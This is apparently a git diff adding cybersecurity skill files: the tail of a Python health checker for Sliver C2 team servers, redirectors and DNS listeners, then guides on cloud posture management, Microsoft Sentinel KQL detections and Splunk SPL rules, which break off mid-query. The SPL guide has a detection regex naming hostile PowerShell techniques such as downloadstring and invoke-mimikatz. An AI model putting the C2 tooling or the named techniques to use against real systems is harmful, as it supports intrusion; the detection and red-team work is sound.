dict) -> str: + """Generate a health report for the C2 infrastructure.""" + report_lines = [ + "=" * 60, + f"Sliver C2 Infrastructure Health Report", + f"Generated: {datetime.now().isoformat()}", + "=" * 60, + "" + ] + + team_server = config.get("team_server", {}) + ts_host = team_server.get("host", "127.0.0.1") + ts_ports = team_server.get("ports", [443, 8888, 53, 51820]) + + report_lines.append("[Team Server]") + report_lines.append(f" Host: {ts_host}") + for port in ts_ports: + status = "OPEN" if check_port_open(ts_host, port) else "CLOSED" + report_lines.append(f" Port {port}: {status}") + report_lines.append("") + + redirectors = config.get("redirectors", []) + report_lines.append("[Redirectors]") + for redir in redirectors: + redir_ip = redir.get("ip", "") + redir_port = redir.get("port", 443) + health = check_redirector_health(redir_ip, redir_port) + status = "HEALTHY" if health["port_open"] else "DOWN" + report_lines.append(f" {redir_ip}:{redir_port} - {status}") + report_lines.append("") + + dns_domains = config.get("dns_domains", []) + report_lines.append("[DNS Listeners]") + for domain in dns_domains: + dns_check = check_dns_listener(domain) + report_lines.append(f" {domain}: {dns_check['status']}") + report_lines.append("") + + report_lines.append("[SSL Certificates]") + https_hosts = config.get("https_hosts", []) + for host in https_hosts: + cert_info = check_ssl_certificate(host) + report_lines.append(f" {host}: {cert_info['status']}") + if cert_info["status"] == "valid": + report_lines.append(f" Expiry: {cert_info.get('expiry', 'N/A')}") + report_lines.append("") + + report_lines.append("=" * 60) + return "\n".join(report_lines) + + +def parse_sliver_config(config_path: str) -> dict: + """Parse a Sliver infrastructure configuration file.""" + try: + with open(config_path, "r") as f: + return json.load(f) + except (FileNotFoundError, json.JSONDecodeError) as e: + print(f"Error loading config: {e}") + return {} + + +def main(): + """Main entry point for infrastructure health check.""" + config_path = sys.argv[1] if len(sys.argv) > 1 else "c2_infrastructure.json" + + if not os.path.exists(config_path): + print(f"Config file not found: {config_path}") + print("Creating example configuration...") + example_config = { + "team_server": { + "host": "10.0.0.1", + "ports": [443, 8888, 53, 51820] + }, + "redirectors": [ + {"ip": "203.0.113.10", "port": 443}, + {"ip": "203.0.113.20", "port": 443} + ], + "dns_domains": ["c2dns.example.com"], + "https_hosts": ["c2.example.com"] + } + with open(config_path, "w") as f: + json.dump(example_config, f, indent=2) + print(f"Example config written to {config_path}") + print("Edit the configuration and re-run the script.") + return + + config = parse_sliver_config(config_path) + if not config: + print("Failed to parse configuration. Exiting.") + return + + report = generate_infrastructure_report(config) + print(report) + + report_file = f"c2_health_report_{datetime.now().strftime('%Y%m%d_%H%M%S')}.txt" + with open(report_file, "w") as f: + f.write(report) + print(f"Report saved to: {report_file}") + + +if __name__ == "__main__": + main() diff --git a/skills/building-cloud-security-posture-management/SKILL.md b/skills/building-cloud-security-posture-management/SKILL.md new file mode 100644 index 00000000..a88d5e7b --- /dev/null +++ b/skills/building-cloud-security-posture-management/SKILL.md @@ -0,0 +1,258 @@ +--- +name: building-cloud-security-posture-management +description: > + This skill guides security architects through designing and implementing a cloud + security posture management program that continuously monitors infrastructure + configurations across AWS, Azure, and GCP. It covers selecting CSPM tooling such + as Wiz, Prisma Cloud, or native services, defining policy baselines, automating + drift detection, and integrating posture findings into SOC workflows. +domain: cybersecurity +subdomain: cloud-security +tags: [cspm, cloud-misconfiguration, security-posture, drift-detection, multi-cloud-governance] +version: 1.0.0 +author: mahipal +license: MIT +--- + +# Building Cloud Security Posture Management + +## When to Use + +- When an organization lacks visibility into cloud misconfigurations across multiple accounts and providers +- When compliance requirements demand continuous posture monitoring against CIS, NIST, or SOC 2 frameworks +- When security teams need to prioritize which misconfigurations to remediate based on actual risk +- When migrating workloads to the cloud and establishing security baselines before production deployment +- When integrating cloud posture findings into an existing SOC or SIEM platform + +**Do not use** for runtime threat detection (see detecting-cloud-threats-with-guardduty), for application-level vulnerability scanning (see securing-serverless-functions), or for network traffic analysis (see implementing-cloud-network-segmentation). + +## Prerequisites + +- Cloud accounts across target providers (AWS, Azure, GCP) with read-only API access for CSPM tools +- Defined compliance framework requirements (CIS Benchmarks, NIST 800-53, PCI-DSS, SOC 2) +- SIEM or ticketing system for finding ingestion and workflow management +- Budget allocation for commercial CSPM tooling or engineering capacity for native tool integration + +## Workflow + +### Step 1: Assess Current Cloud Estate and Risk Appetite + +Inventory all cloud accounts, subscriptions, and projects. Classify them by data sensitivity, regulatory requirements, and business criticality to determine CSPM coverage scope. + +``` +Cloud Estate Inventory: ++----------------+----------+------------+--------------------+------------------+ +| Provider | Accounts | Workloads | Data Classification| Compliance Needs | ++----------------+----------+------------+--------------------+------------------+ +| AWS | 45 | Production | Confidential | PCI-DSS, SOC 2 | +| AWS | 12 | Dev/Test | Internal | SOC 2 | +| Azure | 8 | Production | Restricted (PII) | GDPR, SOC 2 | +| GCP | 3 | Analytics | Confidential | SOC 2 | ++----------------+----------+------------+--------------------+------------------+ +``` + +### Step 2: Select and Deploy CSPM Tooling + +Evaluate CSPM solutions based on multi-cloud support, policy coverage, agentless scanning, attack path analysis, and integration capabilities. + +**Native Tools:** +- AWS Security Hub CSPM with Config rules +- Microsoft Defender for Cloud CSPM +- Google Security Command Center Premium + +**Commercial Platforms:** +- Wiz: Agentless, graph-based visibility, attack path analysis, highest market mindshare (20.2%) +- Prisma Cloud (now Cortex Cloud): CSPM + CWP + CIEM, 3,000+ built-in policies +- Orca Security: SideScanning technology, agentless full-stack visibility +- Lacework: Anomaly-based detection with behavioral analysis + +```bash +# Example: Deploy Wiz connector for AWS using CloudFormation +aws cloudformation create-stack \ + --stack-name wiz-connector \ + --template-url https://wiz-advanced-security.s3.amazonaws.com/wiz-aws-connector.yaml \ + --parameters ParameterKey=ExternalId,ParameterValue= \ + --capabilities CAPABILITY_NAMED_IAM + +# Example: Configure Prisma Cloud AWS onboarding +# Prisma Cloud uses a cross-account IAM role for read-only access +aws iam create-role \ + --role-name PrismaCloudReadOnly \ + --assume-role-policy-document '{ + "Version": "2012-10-17", + "Statement": [{ + "Effect": "Allow", + "Principal": {"AWS": "arn:aws:iam::188619942792:root"}, + "Action": "sts:AssumeRole", + "Condition": {"StringEquals": {"sts:ExternalId": ""}} + }] + }' +``` + +### Step 3: Define Policy Baselines and Custom Rules + +Map compliance framework controls to CSPM policies. Create custom rules for organization-specific requirements that go beyond standard benchmarks. + +```yaml +# Example custom CSPM policy definitions +policies: + - name: s3-bucket-encryption-required + description: All S3 buckets must have AES-256 or KMS encryption enabled + provider: aws + resource_type: aws_s3_bucket + severity: HIGH + rule: | + resource.encryption.rules[0].apply_server_side_encryption_by_default.sse_algorithm + in ["aws:kms", "AES256"] + remediation: Enable default encryption on the S3 bucket using AES-256 or AWS KMS + compliance_mapping: + - CIS_AWS_v5.0: "2.1.1" + - PCI_DSS: "3.4" + - SOC2: "CC6.1" + + - name: public-ip-not-attached-to-compute + description: Production compute instances must not have public IP addresses + provider: aws + resource_type: aws_ec2_instance + severity: CRITICAL + rule: | + resource.public_ip_address == null AND + resource.tags["Environment"] == "production" + remediation: Remove public IP and route traffic through a load balancer or NAT gateway + + - name: storage-account-private-endpoint + description: Azure storage accounts must use private endpoints only + provider: azure + resource_type: azurerm_storage_account + severity: HIGH + rule: | + resource.network_rules.default_action == "Deny" AND + resource.private_endpoint_connections.length > 0 +``` + +### Step 4: Automate Drift Detection and Alerting + +Configure continuous scanning intervals, drift detection thresholds, and alert routing to ensure new misconfigurations are detected within minutes of resource creation or modification. + +```bash +# AWS Config rule for drift detection on S3 public access +aws configservice put-config-rule \ + --config-rule '{ + "ConfigRuleName": "s3-bucket-public-read-prohibited", + "Source": { + "Owner": "AWS", + "SourceIdentifier": "S3_BUCKET_PUBLIC_READ_PROHIBITED" + }, + "Scope": {"ComplianceResourceTypes": ["AWS::S3::Bucket"]} + }' + +# Auto-remediation using SSM Automation +aws configservice put-remediation-configurations \ + --remediation-configurations '[{ + "ConfigRuleName": "s3-bucket-public-read-prohibited", + "TargetType": "SSM_DOCUMENT", + "TargetId": "AWS-DisableS3BucketPublicReadWrite", + "Automatic": true, + "MaximumAutomaticAttempts": 3, + "RetryAttemptSeconds": 60 + }]' +``` + +### Step 5: Prioritize Findings with Context-Aware Risk Scoring + +Move beyond severity-only prioritization. Use attack path analysis, asset context, and exploitability data to focus remediation on findings that represent actual risk. + +``` +Risk Prioritization Matrix: ++----------------------------+----------+-----------+--------+-------------+ +| Finding | Severity | Exposed | Attack | Priority | +| | | Internet? | Path? | Score | ++----------------------------+----------+-----------+--------+-------------+ +| S3 bucket public read | HIGH | Yes | Yes | CRITICAL | +| RDS no encryption at rest | HIGH | No | No | MEDIUM | +| SG allows 0.0.0.0/0:22 | HIGH | Yes | Yes | CRITICAL | +| CloudTrail not enabled | MEDIUM | No | No | HIGH | +| EBS volume not encrypted | MEDIUM | No | No | LOW | ++----------------------------+----------+-----------+--------+-------------+ +``` + +### Step 6: Integrate with SOC Workflows and Reporting + +Feed CSPM findings into SIEM platforms, create Jira tickets for remediation tracking, and build executive dashboards for posture trending. + +```bash +# Export findings to Amazon Security Lake in OCSF format +aws securitylake create-subscriber \ + --subscriber-name cspm-siem-integration \ + --sources '[{"awsLogSource": {"sourceName": "SH_FINDINGS"}}]' \ + --subscriber-identity '{"principal": "arn:aws:iam::123456789012:role/SIEMIngestionRole", "externalId": "siem-ext-id"}' +``` + +## Key Concepts + +| Term | Definition | +|------|------------| +| CSPM | Cloud Security Posture Management: continuous monitoring service that identifies cloud infrastructure misconfigurations and compliance violations | +| Configuration Drift | Deviation from a defined security baseline that occurs when resources are modified outside of approved change management processes | +| Attack Path | A multi-step chain of misconfigurations and vulnerabilities that an adversary could exploit to move from an entry point to a critical asset | +| Agentless Scanning | CSPM approach that uses cloud provider APIs and snapshot analysis to assess security posture without installing agents on workloads | +| Policy as Code | Defining security policies in machine-readable formats (Rego, YAML, JSON) that can be version-controlled and automatically enforced | +| Compliance Framework | Structured set of security controls and requirements such as CIS Benchmarks, NIST 800-53, PCI-DSS, or SOC 2 used to measure posture | +| Security Graph | Graph database representing relationships between cloud resources, identities, network paths, and vulnerabilities for contextual risk analysis | + +## Tools & Systems + +- **Wiz**: Agentless CNAPP providing graph-based CSPM, attack path analysis, and vulnerability management across all major cloud providers +- **Prisma Cloud / Cortex Cloud**: Palo Alto Networks CNAPP with 3,000+ built-in policies covering CSPM, CWP, CIEM, and IaC security +- **AWS Security Hub CSPM**: Native AWS posture management with automated checks against CIS v5.0 and AWS Foundational Security Best Practices +- **Prowler**: Open-source AWS/Azure/GCP security assessment tool with 300+ checks and CIS benchmark support +- **Steampipe**: Open-source SQL-based cloud configuration querying tool supporting 140+ plugins for multi-cloud posture queries + +## Common Scenarios + +### Scenario: Post-Acquisition Cloud Posture Assessment + +**Context**: A company acquires a startup with 30 AWS accounts and 5 GCP projects. No CSPM tooling is in place and the security team needs to assess the inherited environment within two weeks. + +**Approach**: +1. Deploy an agentless CSPM tool (Wiz or Orca) using read-only cross-account roles for immediate visibility without agent installation +2. Run initial scans against CIS Benchmarks for both AWS and GCP to establish a baseline posture score +3. Identify Critical findings: publicly exposed databases, unencrypted storage with sensitive data, overprivileged service accounts +4. Prioritize attack paths that connect internet-exposed resources to data stores containing customer PII +5. Deliver an executive summary with risk-ranked findings and a 90-day remediation roadmap +6. Integrate the acquired accounts into the existing CSPM platform with continuous monitoring + +**Pitfalls**: Deploying agents for the initial assessment adds weeks of delay. Using only native tools for a multi-cloud assessment creates separate dashboards and makes cross-cloud comparison difficult. + +## Output Format + +``` +Cloud Security Posture Assessment Report +========================================== +Organization: Acme Corp +Cloud Providers: AWS (57 accounts), Azure (8 subscriptions), GCP (3 projects) +CSPM Platform: Wiz +Assessment Date: 2025-02-23 + +OVERALL POSTURE SCORE: 68/100 + +FINDINGS BY SEVERITY: + Critical: 47 (Internet-exposed + data access risk) + High: 234 (Misconfiguration with limited exposure) + Medium: 891 (Non-compliant but low immediate risk) + Low: 1,567 (Informational or best practice) + +TOP ATTACK PATHS: + 1. Internet -> Public S3 Bucket (PII data) -> No encryption + Affected: 3 accounts | Risk: Critical | ETA to remediate: 1 day + 2. Internet -> EC2 (SSH open) -> IAM Role -> Cross-Account Admin + Affected: 1 account | Risk: Critical | ETA to remediate: 2 days + 3. Internet -> Azure App Service -> SQL Server (public endpoint) + Affected: 2 subscriptions | Risk: Critical | ETA to remediate: 3 days + +COMPLIANCE STATUS: + CIS AWS v5.0: 62% compliant (340/548 controls passing) + CIS Azure v4.0: 71% compliant (189/266 controls passing) + CIS GCP v4.0: 58% compliant (87/150 controls passing) + SOC 2 Type II: 74% controls mapped and passing +``` diff --git a/skills/building-cloud-siem-with-sentinel/SKILL.md b/skills/building-cloud-siem-with-sentinel/SKILL.md new file mode 100644 index 00000000..94cc919b --- /dev/null +++ b/skills/building-cloud-siem-with-sentinel/SKILL.md @@ -0,0 +1,299 @@ +--- +name: building-cloud-siem-with-sentinel +description: > + This skill covers deploying Microsoft Sentinel as a cloud-native SIEM and SOAR + platform for centralized security operations. It details configuring data connectors + for multi-cloud log ingestion, writing KQL detection queries, building automated + response playbooks with Logic Apps, and leveraging the Sentinel data lake for + petabyte-scale threat hunting across AWS, Azure, and GCP security telemetry. +domain: cybersecurity +subdomain: cloud-security +tags: [microsoft-sentinel, cloud-siem, kql-queries, soar-automation, threat-detection] +version: 1.0.0 +author: mahipal +license: MIT +--- + +# Building Cloud SIEM with Sentinel + +## When to Use + +- When establishing a centralized security operations center for multi-cloud environments +- When migrating from legacy SIEM platforms (Splunk, QRadar) to cloud-native architecture +- When building automated incident response workflows for cloud-specific threats +- When performing large-scale threat hunting across petabytes of security telemetry +- When integrating threat intelligence feeds with cloud security log analysis + +**Do not use** for AWS-only environments where Security Hub and GuardDuty suffice, for endpoint detection requiring EDR capabilities (use Defender for Endpoint), or for compliance posture monitoring (see building-cloud-security-posture-management). + +## Prerequisites + +- Azure subscription with Microsoft Sentinel enabled on a Log Analytics workspace +- Data connector permissions for target log sources (AWS CloudTrail, Azure Activity, GCP) +- Logic Apps or Azure Functions for automated response playbooks +- KQL (Kusto Query Language) proficiency for writing detection rules and hunting queries + +## Workflow + +### Step 1: Provision Sentinel Workspace and Data Connectors + +Create a Log Analytics workspace optimized for security data and enable data connectors for multi-cloud ingestion. + +```powershell +# Create Log Analytics workspace +az monitor log-analytics workspace create \ + --resource-group security-rg \ + --workspace-name sentinel-workspace \ + --location eastus \ + --retention-time 365 \ + --sku PerGB2018 + +# Enable Microsoft Sentinel on the workspace +az sentinel onboarding-state create \ + --resource-group security-rg \ + --workspace-name sentinel-workspace + +# Enable AWS CloudTrail connector +az sentinel data-connector create \ + --resource-group security-rg \ + --workspace-name sentinel-workspace \ + --data-connector-id aws-cloudtrail \ + --kind AmazonWebServicesCloudTrail \ + --aws-cloud-trail-data-connector '{ + "awsRoleArn": "arn:aws:iam::123456789012:role/SentinelCloudTrailRole", + "dataTypes": {"logs": {"state": "Enabled"}} + }' + +# Enable Azure AD sign-in and audit logs +az sentinel data-connector create \ + --resource-group security-rg \ + --workspace-name sentinel-workspace \ + --data-connector-id azure-ad \ + --kind AzureActiveDirectory \ + --azure-active-directory '{ + "dataTypes": { + "alerts": {"state": "Enabled"}, + "signinLogs": {"state": "Enabled"}, + "auditLogs": {"state": "Enabled"} + } + }' +``` + +### Step 2: Write KQL Detection Rules + +Create analytics rules using Kusto Query Language to detect cloud-specific threats. Map each rule to MITRE ATT&CK techniques. + +```kql +// Detect impossible travel - sign-ins from geographically distant locations +let timeframe = 1h; +let distance_threshold = 500; // km +SigninLogs +| where TimeGenerated > ago(timeframe) +| where ResultType == 0 // Successful sign-ins only +| project TimeGenerated, UserPrincipalName, IPAddress, Location, + Latitude = toreal(LocationDetails.geoCoordinates.latitude), + Longitude = toreal(LocationDetails.geoCoordinates.longitude) +| sort by UserPrincipalName asc, TimeGenerated asc +| extend PrevLatitude = prev(Latitude, 1), PrevLongitude = prev(Longitude, 1), + PrevTime = prev(TimeGenerated, 1), PrevUser = prev(UserPrincipalName, 1) +| where UserPrincipalName == PrevUser +| extend TimeDiff = datetime_diff('minute', TimeGenerated, PrevTime) +| where TimeDiff < 60 +| extend Distance = geo_distance_2points(Longitude, Latitude, PrevLongitude, PrevLatitude) / 1000 +| where Distance > distance_threshold +| project TimeGenerated, UserPrincipalName, IPAddress, Location, Distance, TimeDiff +``` + +```kql +// Detect AWS IAM credential abuse from CloudTrail +AWSCloudTrail +| where TimeGenerated > ago(24h) +| where EventName in ("ConsoleLogin", "AssumeRole", "GetSessionToken") +| where ErrorCode == "" +| summarize LoginCount = count(), DistinctIPs = dcount(SourceIpAddress), + IPList = make_set(SourceIpAddress, 10) + by UserIdentityArn, bin(TimeGenerated, 1h) +| where DistinctIPs > 3 +| project TimeGenerated, UserIdentityArn, LoginCount, DistinctIPs, IPList +``` + +```kql +// Detect mass S3 object deletion (potential ransomware) +AWSCloudTrail +| where TimeGenerated > ago(1h) +| where EventName == "DeleteObject" or EventName == "DeleteObjects" +| summarize DeleteCount = count(), BucketsAffected = dcount(RequestParameters_bucketName) + by UserIdentityArn, bin(TimeGenerated, 10m) +| where DeleteCount > 100 +| project TimeGenerated, UserIdentityArn, DeleteCount, BucketsAffected +``` + +### Step 3: Build SOAR Playbooks with Logic Apps + +Create automated response playbooks that execute when analytics rules trigger incidents. Common actions include blocking users, isolating resources, and enriching alerts with threat intelligence. + +```json +{ + "definition": { + "triggers": { + "Microsoft_Sentinel_incident": { + "type": "ApiConnectionWebhook", + "inputs": { + "body": {"incidentArmId": "subscriptions/@{triggerBody()?['workspaceInfo']?['SubscriptionId']}/resourceGroups/@{triggerBody()?['workspaceInfo']?['ResourceGroupName']}/providers/Microsoft.OperationalInsights/workspaces/@{triggerBody()?['workspaceInfo']?['WorkspaceName']}/providers/Microsoft.SecurityInsights/Incidents/@{triggerBody()?['object']?['properties']?['incidentNumber']}"}, + "host": {"connection": {"name": "@parameters('$connections')['microsoftsentinel']['connectionId']"}} + } + } + }, + "actions": { + "Get_incident_entities": { + "type": "ApiConnection", + "inputs": {"method": "post", "path": "/Incidents/entities"} + }, + "For_each_account_entity": { + "type": "Foreach", + "foreach": "@body('Get_incident_entities')?['Accounts']", + "actions": { + "Disable_Azure_AD_user": { + "type": "ApiConnection", + "inputs": { + "method": "PATCH", + "path": "/v1.0/users/@{items('For_each_account_entity')?['AadUserId']}", + "body": {"accountEnabled": false} + } + }, + "Add_comment_to_incident": { + "type": "ApiConnection", + "inputs": { + "body": {"message": "User @{items('For_each_account_entity')?['Name']} disabled by automated playbook"} + } + } + } + } + } + } +} +``` + +### Step 4: Configure Sentinel Data Lake for Long-Term Hunting + +Enable the Sentinel data lake for petabyte-scale log retention and advanced threat hunting using both KQL and SQL endpoints. + +```kql +// Threat hunting query: detect lateral movement across AWS accounts +let suspicious_roles = AWSCloudTrail +| where TimeGenerated > ago(7d) +| where EventName == "AssumeRole" +| extend AssumedRoleArn = tostring(parse_json(RequestParameters).roleArn) +| where AssumedRoleArn contains "cross-account" or AssumedRoleArn contains "admin" +| summarize AssumeCount = count(), UniqueSourceAccounts = dcount(RecipientAccountId) + by UserIdentityArn, AssumedRoleArn +| where AssumeCount > 10 and UniqueSourceAccounts > 2; +suspicious_roles +| join kind=inner ( + AWSCloudTrail + | where TimeGenerated > ago(7d) + | where EventName in ("RunInstances", "CreateFunction", "PutBucketPolicy") +) on UserIdentityArn +| project TimeGenerated, UserIdentityArn, AssumedRoleArn, EventName, SourceIpAddress +``` + +### Step 5: Integrate Threat Intelligence + +Connect threat intelligence providers and create indicator-based matching rules to detect communication with known malicious infrastructure. + +```powershell +# Enable Microsoft Threat Intelligence connector +az sentinel data-connector create \ + --resource-group security-rg \ + --workspace-name sentinel-workspace \ + --data-connector-id microsoft-ti \ + --kind MicrosoftThreatIntelligence \ + --microsoft-threat-intelligence '{ + "dataTypes": {"microsoftEmergingThreatFeed": {"lookbackPeriod": "2025-01-01T00:00:00Z", "state": "Enabled"}} + }' +``` + +```kql +// Match network indicators against cloud flow logs +let TI_IPs = ThreatIntelligenceIndicator +| where TimeGenerated > ago(30d) +| where isnotempty(NetworkIP) +| distinct NetworkIP; +AzureNetworkAnalytics_CL +| where TimeGenerated > ago(24h) +| where DestIP_s in (TI_IPs) +| project TimeGenerated, SrcIP_s, DestIP_s, DestPort_d, FlowType_s +``` + +## Key Concepts + +| Term | Definition | +|------|------------| +| KQL | Kusto Query Language, the primary query language for Microsoft Sentinel used to search, analyze, and visualize security data | +| Analytics Rule | Detection logic in Sentinel that evaluates log data on a schedule and creates incidents when conditions match | +| SOAR Playbook | Automated workflow triggered by incidents that performs response actions such as blocking accounts, enriching alerts, or notifying teams | +| Data Connector | Integration module that ingests security logs from cloud services, identity providers, and third-party tools into Sentinel | +| Sentinel Data Lake | Petabyte-scale storage layer providing long-term log retention with KQL and SQL query interfaces for advanced hunting | +| Workbook | Interactive dashboard in Sentinel displaying visualizations of security data, trends, and operational metrics | +| Watchlist | Reference data tables in Sentinel used to enrich alerts with context such as VIP user lists or approved IP ranges | +| Fusion Detection | Machine learning-powered correlation engine that automatically detects multi-stage attacks across data sources | + +## Tools & Systems + +- **Microsoft Sentinel**: Cloud-native SIEM/SOAR platform built on Azure Log Analytics with AI-powered threat detection +- **Azure Logic Apps**: Low-code automation platform for building SOAR playbooks triggered by Sentinel incidents +- **Microsoft Threat Intelligence**: Integrated threat feeds providing IP, domain, and URL indicators for matching against security logs +- **Azure Data Explorer**: High-performance analytics engine underlying Sentinel KQL queries for large-scale data exploration +- **MITRE ATT&CK Navigator**: Framework for mapping Sentinel detection rules to adversary tactics and techniques + +## Common Scenarios + +### Scenario: Detecting Cross-Cloud Credential Theft Campaign + +**Context**: An attacker compromises an Azure AD account through phishing, then uses the account to access AWS resources via federated identity. Sentinel needs to correlate the Azure sign-in anomaly with unusual AWS API activity. + +**Approach**: +1. Create an analytics rule detecting Azure AD impossible travel or anomalous sign-in risk +2. Write a KQL query correlating the compromised Azure AD identity with AWS CloudTrail AssumeRoleWithSAML events +3. Build a Fusion detection rule that links Azure AD risk events with subsequent AWS privilege escalation activity +4. Deploy a SOAR playbook that automatically disables the Azure AD account and revokes AWS STS sessions +5. Create a workbook showing the timeline from initial compromise through lateral movement to AWS +6. Run a hunting query across the data lake to check for similar patterns affecting other accounts + +**Pitfalls**: Not correlating identity across cloud providers misses the full attack chain. Setting analytics rule frequency too low (e.g., 24 hours) allows attackers hours of undetected access. + +## Output Format + +``` +Microsoft Sentinel SOC Operations Report +========================================== +Workspace: sentinel-workspace +Data Sources: 14 connectors active +Report Period: 2025-02-01 to 2025-02-23 + +DATA INGESTION: + Azure AD Sign-in Logs: 2.3 TB (23 days) + AWS CloudTrail: 1.8 TB (23 days) + Azure Activity: 0.9 TB (23 days) + Defender for Cloud Alerts: 45 GB (23 days) + Total Ingestion: 5.1 TB + +DETECTION SUMMARY: + Active Analytics Rules: 87 + Incidents Created: 234 + Critical: 8 | High: 34 | Medium: 89 | Low: 103 + Mean Time to Detect (MTTD): 4.2 minutes + Mean Time to Respond (MTTR): 18 minutes + +TOP INCIDENT TYPES: + Impossible Travel Detected: 42 incidents + AWS Unauthorized API Call Pattern: 28 incidents + Mass File Deletion in S3: 3 incidents + Suspicious Azure AD App Registration: 12 incidents + +AUTOMATION: + Playbooks Executed: 156 + Accounts Auto-Disabled: 23 + Incidents Auto-Enriched: 198 + False Positive Rate: 12% +``` diff --git a/skills/building-detection-rule-with-splunk-spl/SKILL.md b/skills/building-detection-rule-with-splunk-spl/SKILL.md new file mode 100644 index 00000000..873f0d60 --- /dev/null +++ b/skills/building-detection-rule-with-splunk-spl/SKILL.md @@ -0,0 +1,226 @@ +--- +name: building-detection-rule-with-splunk-spl +description: Build effective detection rules using Splunk Search Processing Language (SPL) correlation searches to identify security threats in SOC environments. +domain: cybersecurity +subdomain: soc-operations +tags: [splunk, spl, detection-engineering, correlation-search, siem, soc, threat-detection, enterprise-security] +version: "1.0" +author: mahipal +license: MIT +--- + +# Building Detection Rules with Splunk SPL + +## Overview + +Splunk Search Processing Language (SPL) is the primary query language used in Splunk Enterprise Security for building correlation searches that detect suspicious events and patterns. A well-crafted detection rule aggregates, correlates, and enriches security events to generate actionable notable events for SOC analysts. Enterprise SIEMs on average cover only 21% of MITRE ATT&CK techniques, making skilled SPL rule writing essential for closing detection gaps. + +## Prerequisites + +- Splunk Enterprise Security (ES) deployed and configured +- Access to Splunk Search & Reporting app with appropriate roles +- Understanding of Common Information Model (CIM) data models +- Familiarity with MITRE ATT&CK framework techniques +- Knowledge of the organization's log sources and data flows + +## Core SPL Detection Rule Patterns + +### 1. Threshold-Based Detection + +Detects events exceeding a defined count within a time window. + +```spl +index=wineventlog sourcetype=WinEventLog:Security EventCode=4625 +| stats count as failed_logins dc(TargetUserName) as unique_users by src_ip +| where failed_logins > 10 AND unique_users > 3 +| eval severity="high" +| eval description="Brute force attack detected from ".src_ip." with ".failed_logins." failed logins across ".unique_users." accounts" +``` + +### 2. Sequence-Based Detection (Failed Login Followed by Success) + +Correlates a sequence of events indicating a successful brute force attack. + +```spl +index=wineventlog sourcetype=WinEventLog:Security (EventCode=4625 OR EventCode=4624) +| eval login_status=case(EventCode=4625, "failure", EventCode=4624, "success") +| stats count(eval(login_status="failure")) as failures count(eval(login_status="success")) as successes latest(_time) as last_event by src_ip, TargetUserName +| where failures > 5 AND successes > 0 +| eval description="Account ".TargetUserName." compromised via brute force from ".src_ip +| eval urgency="critical" +``` + +### 3. Anomaly Detection with Baseline Comparison + +Compares current activity against a baseline period to detect spikes. + +```spl +index=proxy sourcetype=squid +| bin _time span=1h +| stats count as current_count by src_ip, _time +| join src_ip type=left [ + search index=proxy sourcetype=squid earliest=-7d@d latest=-1d@d + | stats avg(count) as avg_count stdev(count) as stdev_count by src_ip +] +| eval threshold=avg_count + (3 * stdev_count) +| where current_count > threshold +| eval deviation=round((current_count - avg_count) / stdev_count, 2) +| eval description="Anomalous web traffic from ".src_ip." - ".deviation." standard deviations above baseline" +``` + +### 4. Lateral Movement Detection + +Identifies potential lateral movement using Windows logon events. + +```spl +index=wineventlog sourcetype=WinEventLog:Security EventCode=4624 Logon_Type=3 +| where NOT match(TargetUserName, ".*\$$") +| stats dc(dest) as unique_hosts values(dest) as hosts by src_ip, TargetUserName +| where unique_hosts > 5 +| eval severity=case(unique_hosts > 20, "critical", unique_hosts > 10, "high", true(), "medium") +| eval description=TargetUserName." accessed ".unique_hosts." unique hosts from ".src_ip." via network logon" +``` + +### 5. Data Exfiltration Detection + +Monitors for large outbound data transfers. + +```spl +index=firewall sourcetype=pan:traffic action=allowed direction=outbound +| stats sum(bytes_out) as total_bytes_out dc(dest_ip) as unique_destinations by src_ip, user +| eval total_mb=round(total_bytes_out/1048576, 2) +| where total_mb > 500 OR unique_destinations > 50 +| lookup asset_lookup ip as src_ip OUTPUT asset_category, asset_owner +| eval severity=case(total_mb > 2000, "critical", total_mb > 1000, "high", true(), "medium") +| eval description=user." transferred ".total_mb."MB to ".unique_destinations." unique destinations" +``` + +### 6. PowerShell Suspicious Execution Detection + +Detects encoded or obfuscated PowerShell commands. + +```spl +index=wineventlog sourcetype=WinEventLog:Security EventCode=4104 +| where match(ScriptBlockText, "(?i)(encodedcommand|invoke-expression|iex|downloadstring|frombase64string|net\.webclient|invoke-webrequest|bitstransfer|invoke-mimikatz|invoke-shellcode)") +| eval decoded_length=len(ScriptBlockText) +| stats count values(ScriptBlockText) as commands by Computer, UserName +| where count > 0 +| eval severity="high" +| eval mitre_technique="T1059.001" +| eval description="Suspicious PowerShell execution on ".Computer." by ".UserName +``` + +## Building Correlation Searches in Splunk ES + +### Step-by-Step Process + +1. **Define the Use Case**: Map to MITRE ATT&CK technique and define what behavior to detect +2. **Identify Data Sources**: Determine which indexes and sourcetypes contain relevant events +3. **Write the Base Search**: Build SPL that extracts relevant events +4. **Add Aggregation**: Use `stats`, `eventstats`, or `streamstats` to summarize +5. **Apply Thresholds**: Set conditions with `where` clause that distinguish normal from anomalous +6. **Enrich Context**: Add lookups for asset information, identity data, and threat intelligence +7. **Configure Notable Event**: Set severity, urgency, and description fields +8. **Schedule and Test**: Run against historical data and validate detection accuracy + +### Correlation Search Configuration Template + +```spl +| tstats summariesonly=true count from datamodel=Authentication + where Authentication.action=failure + by Authentication.src, Authentication.user, _time span=5m +| rename "Authentication.*" as * +| stats count as total_failures dc(user) as unique_users values(user) as targeted_users by src +| where total_failures > 20 AND unique_users > 5 +| lookup dnslookup clientip as src OUTPUT clienthost as src_dns +| lookup asset_lookup ip as src OUTPUT priority as asset_priority, category as asset_category +| eval urgency=case(asset_priority=="critical", "critical", asset_priority=="high", "high", true(), "medium") +| eval rule_name="Brute Force Against Multiple Accounts" +| eval rule_description="Multiple authentication failures from ".src." targeting ".unique_users." unique accounts" +| eval mitre_attack="T1110.001 - Password Guessing" +``` + +### Enrichment Best Practices + +```spl +| lookup identity_lookup identity as user OUTPUT department, manager, risk_score as user_risk +| lookup asset_lookup ip as src_ip OUTPUT asset_name, asset_category, asset_priority, asset_owner +| lookup threatintel_lookup ip as src_ip OUTPUT threat_type, threat_confidence, threat_source +| eval context=case( + isnotnull(threat_type), "Known threat: ".threat_type, + user_risk > 80, "High-risk user: risk score ".user_risk, + asset_priority=="critical", "Critical asset: ".asset_name, + true(), "Standard context" +) +``` + +## Performance Optimization + +### Use Data Models with tstats + +```spl +| tstats summariesonly=true count from datamodel=Network_Traffic + where All_Traffic.action=allowed + by All_Traffic.src_ip, All_Traffic.dest_ip, All_Traffic.dest_port, _time span=1h +| rename "All_Traffic.*" as * +``` + +### Limit Time Ranges and Use Indexed Fields + +```spl +index=wineventlog source="WinEventLog:Security" EventCode=4688 + earliest=-15m latest=now() +| where NOT match(New_Process_Name, 